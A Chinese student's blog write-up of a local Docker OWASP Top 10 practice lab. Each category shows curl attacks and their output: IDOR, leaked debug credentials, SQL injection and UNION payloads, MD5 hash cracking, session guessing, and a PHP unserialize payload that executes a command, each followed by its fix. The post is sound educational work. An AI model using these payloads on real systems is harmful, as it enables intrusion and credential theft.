记录练习OWASP

3013 字
15 分钟
记录练习OWASP

先链接靶场#

启动然后可以看到

[+] up 1/1
✔ Container owasp-lab Running 0.0s
OWASP Top 10 练习靶场
/vuln/a01-idor.php A01 越权:改 order_id 看别人的订单
/vuln/a05-sqli.php A05 注入:SQL 拼接,加 &safe=1 看参数化查询
/vuln/a07-session.php A07 认证:sid 可猜 + 登录无限试
/vuln/a02-debug.php A02 配置错误:debug 没关,内部路径和口令全泄露
/backup/ A02 另一半:目录可浏览 + 备份文件没删
/vuln/a08-deserialize.php A08 完整性:外部输入直接 unserialize
/vuln/a10-failopen.php A10 异常处理:catch 之后 return true
这里列了 7 个入口,但靶场里不止这么多页面。
有一个管理后台从来没被链接过 —— 猜它的 URL 试试。

A01 越权#

在终端输入

Terminal window
curl -b 'uid=alice' 'http://127.0.0.1:8000/vuln/a01-idor.php?order_id=1001'

可以看到返回

当前用户: alice
订单 1001:机械键盘,399 元,归属 alice

接着改一下order_id = 1002

可以看到返回bob的信息

当前用户: alice
订单 1002:显示器,1299 元,归属 bob

接着在后面加上&safe=1再看返回(走漏洞分支,这里是走到修好的分支)

403:这不是你的订单(当前用户 alice,订单归属 bob)

强制浏览

Terminal window
curl -s -w '[HTTP %{http_code}]' -b 'sid=1002' 'http://127.0.0.1:8000/vuln/a01-admin.php'

返回

管理后台
当前 sid: 1002
用户表导出:
admin 5f4dcc3b5aa765d61d8327deb882cf99
alice e10adc3949ba59abbe56e057f20f883e
[HTTP 200]%

普通用户的 sid 进了管理后台。加 ?safe=1 → 403。

为什么:权限判断写在了”能不能看到入口”上,没写在”能不能执行”上。前端藏按钮、导航里不放链接、URL 起个难猜的名字,都不是访问控制 —— 判定的地方只能在服务端,而且是每个请求都判一次。


A02 安全配置错误#

debug没关

Terminal window
curl -i http://127.0.0.1:8000/vuln/a02-debug.php

返回

HTTP/1.1 500 Internal Server Error
Date: Fri, 23 Oct 2026 09:16:03 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.5.11
Content-Length: 261
Connection: close
Content-Type: text/plain; charset=utf-8
[DEBUG] file_get_contents() failed
target : /var/log/app/access-today.log
cwd : /var/www/html/vuln
php : 8.5.11
server : Apache/2.4.68 (Debian)
config : {
"db_host": "db",
"db_user": "dvwa",
"db_pass": "p@ssw0rd",
"secret": "7f2c1e9a4b"
}

一次失败的请求,交出了绝对路径、PHP 版本、Apache 版本、数据库地址、数据库口令、密钥。

修:打开 web/vuln/a02-debug.php,第 6 行 $debug = true; 改成 false,重打 → 只剩”服务繁忙,请稍后再试”。

目录能浏览 + 备份文件没删

Terminal window
curl -si http://127.0.0.1:8000/backup/

返回

HTTP/1.1 403 Forbidden
Date: Fri, 23 Oct 2026 09:19:04 GMT
Server: Apache/2.4.68 (Debian)
Content-Length: 316
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.68 (Debian) Server at 127.0.0.1 Port 8000</address>
</body></html>

403 说明目录索引是关着的,打开:

Terminal window
printf 'Options +Indexes\n' > web/backup/.htaccess
curl -s http://127.0.0.1:8000/backup/ | grep db.sql.bak

目录 403,文件 200。 Options -Indexes 只挡住”列清单”,不挡”直接按名字取”。所以下面开 .htaccess 那一步,作用是让文件名从”要猜”变成”能看见”—— 文件本身一直躺在外面,从来没被保护过。 这个区别在真实站点上很要命:/.git/config、/backup.zip、/www.tar.gz 这些路径,目录页 403,文件一请求就下来。目录扫描工具之所以有价值,就是因为有这一步。

返回

<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="db.sql.bak">db.sql.bak</a></td><td align="right">2026-10-22 03:31 </td><td align="right">439 </td><td>&nbsp;</td></tr>

接着

Terminal window
curl -s http://127.0.0.1:8000/backup/db.sql.bak

返回

-- 本应删掉却留在 web 根目录里的备份文件(A02 的经典形态)
-- 攻击者不需要猜口令,只要目录能列出来,就能拿到这个文件
CREATE TABLE users (
id INT PRIMARY KEY,
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(16)
);
INSERT INTO users VALUES
(1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'admin'),
(2, 'gordon', 'e10adc3949ba59abbe56e057f20f883e', 'user');

练完删掉:rm web/backup/.htaccess

为什么:这两半的共同点是”默认值”。debug 默认开、目录索引默认开、备份文件默认留在 web 根目录 —— 每一项单看都无害,凑一起就是把口令递给别人。A02 的修法永远是”把不需要的关掉”,不是”加个判断”。


A03 软件供应链失效#

这一条打自己靶场

Terminal window
cd ~/LYH-Blogs && pnpm audit

返回一个很长的表格

129 vulnerabilities found
Severity: 15 low | 48 moderate | 64 high | 2 critical

两条 critical:

critical Astro: Remote code execution through AVIF image optimization
Package astro
Vulnerable versions <7.2.8
Patched versions >=7.2.8
Paths . > @astrojs/mdx@5.0.6 > astro@6.3.5
. > astro@6.3.5
critical node-tar: Decompression/parse DoS via unlimited input
Package tar
Vulnerable versions <=7.5.18
Patched versions >=7.5.19
Paths . > astro-icon@1.1.5 > @iconify/tools@4.2.0 > tar@7.5.16

读法:astro 是博客框架本身(6.3.5,修复版 7.2.8,差一个大版本);tar 你根本没直接装 —— 它是 astro-icon → @iconify/tools → tar 一路拖进来的传递依赖。你不知道它在,但它在。

为什么:这一条没有”请求”可以打,所以 WAF 完全无能为力。防护手段是流程:提交 lockfile、只从官方源装、定期 audit、给基础镜像标版本号而不是 latest。


A04 加密机制失效#

在 A02 第二半的最后一步拿到这份文件的

Terminal window
curl -s http://127.0.0.1:8000/backup/db.sql.bak

接着

Terminal window
for w in password 123456 admin; do
printf '%-10s -> %s\n' "$w" "$(printf '%s' "$w" | md5)"
done

返回

password -> 5f4dcc3b5aa765d61d8327deb882cf99
123456 -> e10adc3949ba59abbe56e057f20f883e
admin -> 21232f297a57a5a743894a0e4a801fc3

备份文件里两个哈希全部命中:admin 的密码是 password,gordon 的密码是 123456。

修

Terminal window
docker exec owasp-lab php -r 'echo password_hash("123456", PASSWORD_DEFAULT), "\n";'

跑两次,结果不一样(自动加盐)。验证要用 password_verify()。

为什么:问题不在”用了 MD5”,在”用了一个为速度设计的哈希来存密码”。MD5 一秒能算几百万次,暴力破解成本极低。换成 SHA-256 也一样快 —— 快就是问题。password_hash 故意慢(每秒几百次),慢到暴力破解不划算。

Terminal window
docker exec owasp-lab php -r '
$t = microtime(true);
for ($i = 0; $i < 100000; $i++) { md5("123456"); }
$d = microtime(true) - $t;
printf("md5 10 万次: %7.1f ms —— 每秒 %.0f 万次\n", $d*1000, 100000/$d/10000);
$t = microtime(true);
for ($i = 0; $i < 100; $i++) { password_hash("123456", PASSWORD_DEFAULT); }
$d = microtime(true) - $t;
printf("bcrypt 100 次: %7.0f ms —— 每秒 %.0f 次\n", $d*1000, 100/$d);
'

实测(这次会比前一条慢十几秒,正常):

md5 10 万次: 10.7 ms —— 每秒 938 万次
bcrypt 100 次: 16907 ms —— 每秒 6 次

同样是”存密码”,一个每秒能算 938 万次,一个每秒只能算 6 次。字典跑一遍的成本差了一百五十万倍 —— 这就是”慢哈希”三个字的全部含义。


A05 注入#

先输入

Terminal window
curl 'http://127.0.0.1:8000/vuln/a05-sqli.php?name=alice'

返回

输入: 'alice'
执行的 SQL: SELECT id, username, role FROM users WHERE username = 'alice'
命中 1 行:
id=2 username=alice role=user

接着 恒真条件

Terminal window
curl 'http://127.0.0.1:8000/vuln/a05-sqli.php?name=%27%20OR%20%271%27%3D%271'

返回

输入: '\' OR \'1\'=\'1'
执行的 SQL: SELECT id, username, role FROM users WHERE username = '' OR '1'='1'
命中 2 行:
id=1 username=admin role=admin
id=2 username=alice role=user

UNION 把密码列拖出来

Terminal window
P="x%27%20UNION%20SELECT%201,username,password%20FROM%20users--%20"
curl "http://127.0.0.1:8000/vuln/a05-sqli.php?name=$P"

返回

输入: 'x\' UNION SELECT 1,username,password FROM users-- '
执行的 SQL: SELECT id, username, role FROM users WHERE username = 'x' UNION SELECT 1,username,password FROM users-- '
命中 2 行:
id=1 username=admin role=5f4dcc3b5aa765d61d8327deb882cf99
id=1 username=alice role=e10adc3949ba59abbe56e057f20f883e

role 列出来的是密码哈希 —— UNION 把 password 塞进了角色的位置,-- 把多余的引号注释掉。这条链往下就是 A04。

修

Terminal window
curl "http://127.0.0.1:8000/vuln/a05-sqli.php?name=$P&safe=1"
执行的 SQL: SELECT id, username, role FROM users WHERE username = ?
绑定参数 : [x' UNION SELECT 1,username,password FROM users-- ]
命中 0 行:

载荷一个字符没变,命中从 2 行变 0 行。

为什么:参数化之后 ? 位置只接受一个”值”,输入里的引号、UNION、注释符全部退化成普通字符串,再也参与不了语法解析。

A07 认证失效#

Terminal window
# 登录 alice,看响应头
curl -si 'http://127.0.0.1:8000/vuln/a07-session.php?action=login&u=alice&p=alice123'
Set-Cookie: sid=1002
登录成功,sid=1002(role=user)

sid 是 1002,固定值,连 HttpOnly 都没有。那 admin 的应该是多少?

Terminal window
curl -b 'sid=1001' 'http://127.0.0.1:8000/vuln/a07-session.php?action=whoami'
你是 admin(sid=1001,role=admin)

一个密码都没输,成了管理员。

顺便看爆破:漏洞版连错 10 次毫无反应。

Terminal window
for i in $(seq 1 10); do
curl -s -o /dev/null -w '%{http_code} ' \
"http://127.0.0.1:8000/vuln/a07-session.php?action=login&u=admin&p=wrong$i"
done
401 401 401 401 401 401 401 401 401 401

第 11 次试对就进 —— 字典可以一直跑。

修

Terminal window
curl -si 'http://127.0.0.1:8000/vuln/a07-session.php?action=login&u=alice&p=alice123&safe=1'
Set-Cookie: sid=fccaaa7e2e7c8074d85500b6b1984817; HttpOnly; SameSite=Strict

32 位随机 + HttpOnly + SameSite。同一个猜来的 sid=1001 直接 401。再连错 6 次:

第 1 次: HTTP 401 — 累计失败 1 次
第 5 次: HTTP 401 — 累计失败 5 次
第 6 次: HTTP 429 — 失败次数过多,请 60 秒后再试

为什么:会话 ID 是”你是谁”的唯一凭证,它必须是不可预测的(随机)、不可读的(HttpOnly 防 XSS 偷)、可失效的(服务端有白名单,登出真能踢掉)。固定值等于把钥匙挂在门上。

A08 软件或数据完整性失效#

Terminal window
# 正常数据:一个数组
curl -s "http://127.0.0.1:8000/vuln/a08-deserialize.php?data=YToxOntzOjQ6Im5hbWUiO3M6NToiZ3Vlc3QiO30%3D"
不是对象,结果: array (
'name' => 'guest',
)
请求结束(对象的 __destruct 会在这之后执行)

什么都没发生 —— 这就是让人放松警惕的地方。

Terminal window
# 构造对象
curl -s "http://127.0.0.1:8000/vuln/a08-deserialize.php?data=Tzo1OiJDYWNoZSI6Mjp7czozOiJrZXkiO3M6MjoiZ2MiO3M6NzoicGF5bG9hZCI7czoyOiJpZCI7fQ%3D%3D"
反序列化成功,得到对象: Cache
请求结束(对象的 __destruct 会在这之后执行)
uid=33(www-data) gid=33(www-data) groups=33(www-data)

id 执行了。payload 原文长这样:

O:5:"Cache":2:{s:3:"key";s:2:"gc";s:7:"payload";s:2:"id";}
  • O:5:"Cache" —— 要一个 Cache 类的对象
  • :2: —— 两个属性
  • s:3:"key";s:2:"gc"; —— key = "gc"
  • s:7:"payload";s:2:"id"; —— payload = "id"

把 id 换成 cat /etc/passwd、换成反弹 shell,就是完整的 RCE。

修:web/vuln/a08-deserialize.php 第 31 行,把 @unserialize(...) 换成 json_decode(..., true),重打 → 只得到数组。

为什么:unserialize 不只是”读数据”,它会按 payload 里写的类名去实例化对象,并触发魔术方法。攻击者不需要调用任何函数,只要让对象活过一次。执行发生在页面输出之后,因为 __destruct 是对象销毁时才跑。

A09 日志与告警失效#

Terminal window
cd ~/waf-lab
python3 run.py --backend 127.0.0.1:8000 --listen 127.0.0.1:8889 --mode audit

--mode audit = 只记录不拦。另开终端打四条:

Terminal window
for p in "1' OR '1'='1" "1'; DROP TABLE users--" "../../etc/passwd" "<script>alert(1)</script>"; do
curl -s -o /dev/null -w '%{http_code} ' --get --data-urlencode "name=$p" \
"http://127.0.0.1:8889/vuln/a05-sqli.php"
done
200 200 200 200

四条全是 200。 从客户端看,服务一切正常。然后看 logs/waf-*.jsonl:

score=100 action=log would_block=True backend=200
└─ 1021 SQL 注入 · 恒真条件(55); 1024 SQL 注入 · 引号闭合特征(45)
score=185 action=log would_block=True backend=200
└─ 1024 引号闭合特征(45); 1026 破坏性语句(70); 1027 堆叠查询(70)
score=170 action=log would_block=True backend=200
└─ 1001 路径穿越(70); 1010 敏感文件访问(100)
score=115 action=log would_block=True backend=200
└─ 2001 XSS · script 标签(70); 2007 XSS · 弹窗与危险函数(45)

三列读下来:

  • backend=200 —— 每条都真的打到了应用,还成功返回
  • would_block=True —— 如果开了拦截,四条都该挡
  • action=log —— 但因为开了审计模式,全放过去了

修:把 --mode 改成 block 重启,同一条变 403,日志里 backend_status 变成 null(没到后端)。

为什么:日志完美记录了每一次攻击 —— 分数、规则、载荷、时间戳一样不缺。但没有告警,它就是一堆躺在磁盘上的 JSON。从”有日志”到”有告警”中间隔着的东西,才是这条要讲的。

A10 异常处理不当#

Terminal window
# 一个明显不是管理员的角色
curl 'http://127.0.0.1:8000/vuln/a10-failopen.php?name=guest&role=user'
200 OK —— 已进入管理面板
name: guest
role: user

role=user 进了管理面板。

Terminal window
# 干脆不传 role
curl 'http://127.0.0.1:8000/vuln/a10-failopen.php?name=guest'
<b>Warning</b>: Undefined array key "role" in <b>/var/www/html/vuln/a10-failopen.php</b> on line <b>11</b><br />
200 OK —— 已进入管理面板
name: guest
role: (未提供)

参数缺了,反而直接进后台 —— 因为缺参数触发异常,而异常分支是放行的。同时还白送一个绝对路径和行号(这是 A10 和 A02 的交界)。

修:web/vuln/a10-failopen.php 第 17 行 return true; → return false;,两条都变 403。

再补一刀:在文件开头加 ini_set('display_errors', '0');,Warning 也不见了。

为什么:代码里那个 catch 里写 return true 的心理很好理解 —— “先别让用户卡住,出错也放过去,回头查日志”。上线之后它就是一道没锁的门。安全场景里几乎永远是 fail closed:不确定就拒绝。

常见问题#

A07 的 safe 版一直返回 429

上一轮的失败次数还记在 /tmp/lab-a07.json 里。

Terminal window
docker exec owasp-lab rm -f /tmp/lab-a07.json

/backup/ 一直是 403,加了 .htaccess 也没变

检查两件事:文件写在了 web/backup/ 下没有;容器允许 .htaccess 覆盖配置没有。

Terminal window
docker exec owasp-lab cat /var/www/html/backup/.htaccess
docker exec owasp-lab grep -rn "AllowOverride" /etc/apache2/ | head -5

要看到 docker-php.conf:10: AllowOverride All 才说明 .htaccess 生效。

改了 PHP 文件但页面没变化

改的是宿主机还是容器?docker exec 进去用 vi 改的是容器里的副本,down 之后就没了。改文件永远在宿主机改。

docker compose up -d 卡在拉镜像

php:8.3-apache 在国内经常拉不动。用 alt 编排,或者给 Docker Desktop 配镜像加速(Settings → Docker Engine → registry-mirrors)。详见 README.md 第八节坑 1。

端口 8000 被占

Terminal window
lsof -iTCP:8000 -sTCP:LISTEN

改 docker-compose.alt.yml 里的 "127.0.0.1:8000:80" 左边那个数字即可。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

相关文章 智能推荐
1
一个 500 错误页泄露了源码、绝对路径和短信网关口令
漏洞 扫描学校漏洞的时候发现一次 ASP.NET 详细编译错误(YSOD)信息泄露复盘:customErrors 未关闭、生产站点带着编译错误上线、凭据硬编码在代码里,三件事叠在一起,把业务源码和第三方短信账号一起交给了匿名访问者。
2
从一条报错到全校会话库:某高校 SSO + GraphQL 数据网关的完整攻击链
漏洞 一个未授权入口如何被逐级放大成"25 万师生 PII + 35 万登录态 + 任意 SQL 执行"。我挖出来的第一个高危
3
搭个靶场熟悉OWASPTop10,感觉好多岗位要求要熟悉这个
漏洞 找实习进度到50%了
4
CVE-2026-64638(WordPress XSS2Shell)我的第一个网站就是因为这个给挂马的我要看看是怎么回事
漏洞 我倒要看看我之前几个月的心血是怎么没的~~独立复现了 WordPress CVE-2026-64638 漏洞,构建 Docker 三靶机(漏洞/修复/加固版),用纯 stdlib Python 手搓 HTTP 报文验证 XSS 差异,通过 CDP 精准触发跨窗口点击实现 RCE。所有结论均经单变量对照实验与原始日志验证,最终输出含完整踩坑记录与防御建议。
5
CVE--2021-41773(Apache HTTP Server 2.4.49 路径穿越)漏洞复现
漏洞 作为我的第一个漏洞复现,Apache 2.4.49 对请求路径做 URL 解码后,没有再检查越界,于是 /icons/.%2e/../ 这类路径能穿出网站根目录。默认配置返回 403 打不通;授权一旦放宽就是任意文件读取,再开启 CGI 还能指向 /bin/sh 执行命令。
随机文章 随机推荐
Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
52
分类
20
标签
32
总字数
311,598
运行时长
0 天
最后活动
0 天前

文章目录